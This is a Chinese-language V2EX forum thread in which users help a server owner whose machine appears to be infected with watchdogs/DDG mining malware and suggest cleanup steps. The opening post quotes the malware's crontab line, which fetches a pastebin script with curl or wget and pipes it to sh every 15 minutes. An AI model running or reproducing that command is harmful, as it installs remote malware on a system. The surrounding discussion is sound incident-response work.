V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
hobbyliu
V2EX  ›  信息安全

阿里云服务器被挂马,被写入 crontab 删不掉。ps 命令找不到 nginx PHP 进程信息

  •  
  •   hobbyliu · 2019-02-21 14:14:13 +08:00 · 6965 次点击
    这是一个创建于 1884 天前的主题,其中的信息可能已经有所发展或是发生改变。

    */15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

    crontab 被写入这段代码。删除后一会又自动加上。

    ps 命令看到的进程很奇怪,php nginx 进程找你不到了,但是服务正常。

    怀疑 ps 被修改, 已经从其他服务器替换了回来,但是依旧不行。

    26 条回复    2019-02-26 13:34:52 +08:00
    ThirdFlame
        1
    ThirdFlame  
       2019-02-21 14:27:44 +08:00
    可能不止 PS 被替换了啊
    watchdogs 还在运行呢。
    dapang1221
        2
    dapang1221  
       2019-02-21 14:32:53 +08:00
    alias,查一下是不是 ps 被设置别名,把奇怪的进程 grep 掉了
    hcymk2
        3
    hcymk2  
       2019-02-21 14:35:09 +08:00   ❤️ 1
    cpdyj0
        4
    cpdyj0  
       2019-02-21 15:20:08 +08:00 via Android
    检查下内核模块,有没有什么奇怪的东西
    huixia0010
        5
    huixia0010  
       2019-02-21 15:37:03 +08:00
    有 memcache 吗~有的话,关掉试试~
    allenhu
        6
    allenhu  
       2019-02-21 15:48:20 +08:00
    @cpdyj0 好像很有道理,但是怎么检查?
    rogerchen
        7
    rogerchen  
       2019-02-21 16:06:22 +08:00 via iPhone
    重置吧,手工不能打过 rootkit 的
    hobbyliu
        8
    hobbyliu  
    OP
       2019-02-21 16:14:50 +08:00
    @huixia0010 并没有,只有 redis 怀疑是 redis 注入 shell 但是,redis 进程号找不到。。ps 命令不好使了
    greatbody
        9
    greatbody  
       2019-02-21 16:34:01 +08:00
    用 terraform 来管理基础设置,然后把服务全部都用容器。最后,数据库什么的都用云数据库。

    应该会好很多。
    ThirdFlame
        10
    ThirdFlame  
       2019-02-21 17:01:37 +08:00
    @hobbyliu ps ls 可能都被替换了。
    c0878
        11
    c0878  
       2019-02-21 17:13:34 +08:00
    保存数据 重装系统
    另外阿里云态势感知可以用一下
    changliwei
        12
    changliwei  
       2019-02-21 18:51:45 +08:00
    可以实时 csysdiag 程序查看,
    sysdig 这个工具的原理不是读取 /proc/的统计值,通过加载一个内核模块,对内核插入各种探测点,动态采集原始数据,再进行分析,恶意软件的隐身原理对 sysdig 不适用了.

    top/iotop/lsof/netstat /ps 等工具都是 /proc 下内核统计值工作的工具,很容易被恶意软件的隐藏没法查看。

    安装 csysdiag 就可以查看,centos
    curl -s https://s3.amazonaws.com/download.draios.com/stable/install-sysdig | sudo bash


    Viewing: Processes For: whole machine
    Source: Live System Filter: evt.type!=switch
    PID CPU USER TH VIRT RES FILE NET Command
    4101 100.00 1 317M 5M 0 0.00 <NA>
    1012 4.00 root 1 118M 19M 0 0.00 csysdig
    30087 0.50 1 4G 3G 0 0.00 <NA>
    30084 0.50 1 4G 3G 0 0.00 <NA>
    29063 0.50 1 3G 2G 0 0.00 <NA>
    9387 0.50 1 4G 3G 0 0.00 <NA>
    4058 0.50 1 108M 40M 0 1.69K <NA>




    [root@centos ]# ls -l /prox/4101
    total 0
    dr-xr-xr-x 2 root root 0 Feb 21 18:43 attr
    -rw-r--r-- 1 root root 0 Feb 21 18:43 autogroup
    -r-------- 1 root root 0 Feb 21 18:43 auxv
    -r--r--r-- 1 root root 0 Feb 21 18:43 cgroup
    --w------- 1 root root 0 Feb 21 18:43 clear_refs
    -r--r--r-- 1 root root 0 Feb 21 18:43 cmdline
    -rw-r--r-- 1 root root 0 Feb 21 18:43 comm
    -rw-r--r-- 1 root root 0 Feb 21 18:43 coredump_filter
    -r--r--r-- 1 root root 0 Feb 21 18:43 cpuset
    lrwxrwxrwx 1 root root 0 Feb 21 18:43 cwd -> /
    -r-------- 1 root root 0 Feb 21 18:43 environ
    lrwxrwxrwx 1 root root 0 Feb 21 18:43 exe -> /tmp/ksoftirqds (deleted)
    hobbyliu
        13
    hobbyliu  
    OP
       2019-02-21 22:00:22 +08:00
    @changliwei 试了一下,还是进程缺失,php nginx 进程还是看不到
    [![kWlAxJ.md.png]( https://s2.ax1x.com/2019/02/21/kWlAxJ.md.png)]( https://imgchr.com/i/kWlAxJ)
    Acoffice
        14
    Acoffice  
       2019-02-21 22:35:15 +08:00 via Android
    今天上午也有个同事问这个问题,楼主如果解决,麻烦贴出解决方案哦
    Acoffice
        15
    Acoffice  
       2019-02-21 22:52:23 +08:00 via Android
    链接点进去解密可以看到定时任务都执行了什么
    Acoffice
        16
    Acoffice  
       2019-02-21 22:53:10 +08:00 via Android
    太长,我就不往上贴了
    Acoffice
        17
    Acoffice  
       2019-02-21 23:16:16 +08:00 via Android
    简单分析了下,
    解决点:卸载 curl 命令,然后删除 cron,kill 掉 nohup /tmp/watchdogs >/dev/null 2>&1 进程,
    然后再细看解密后都执行了哪些命令,挨个恢复.
    abcbuzhiming
        18
    abcbuzhiming  
       2019-02-21 23:46:55 +08:00
    兄弟,我和你症状一模一样啊
    https://www.v2ex.com/t/537457
    hobbyliu
        19
    hobbyliu  
    OP
       2019-02-22 00:48:24 +08:00
    @Acoffice 我更改了下 host 127.0.0.1 pastebin.com 基本控制住了,但是没有根治啊。找阿里云客服说也没办法让备份恢复系统盘解决。
    sdksang
        20
    sdksang  
       2019-02-22 17:31:16 +08:00
    大兄弟 中了 DDG 啊 。。
    hobbyliu
        21
    hobbyliu  
    OP
       2019-02-22 17:38:32 +08:00
    @sdksang ddg 的变异,用处理的 ddg 的方法根本处理不了。
    hyshuang2006
        22
    hyshuang2006  
       2019-02-22 21:48:48 +08:00
    哎...我的 VPS 惨了,连 root 都进不去。
    hobbyliu
        23
    hobbyliu  
    OP
       2019-02-23 06:16:23 +08:00
    @hyshuang2006 你设置的不允许密码登录?
    hyshuang2006
        24
    hyshuang2006  
       2019-02-23 20:06:51 +08:00
    @hobbyliu 对啊,密钥登陆。原来密钥登陆也存在隐患。唉...

    不过也是好事情,这回找时间充电,认真对待:补写脚本及安全方面。
    metas
        25
    metas  
       2019-02-26 11:26:57 +08:00
    应该是被被植入了 watchdogs 挖矿病毒,楼主可以看看腾讯安全云鼎实验室的清理方式:

    https://mp.weixin.qq.com/s/3V0HVEREZWU8SkRWLspaxg
    hobbyliu
        26
    hobbyliu  
    OP
       2019-02-26 13:34:52 +08:00
    @metas 感谢 我研究下
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5174 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 08:10 · PVG 16:10 · LAX 01:10 · JFK 04:10
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.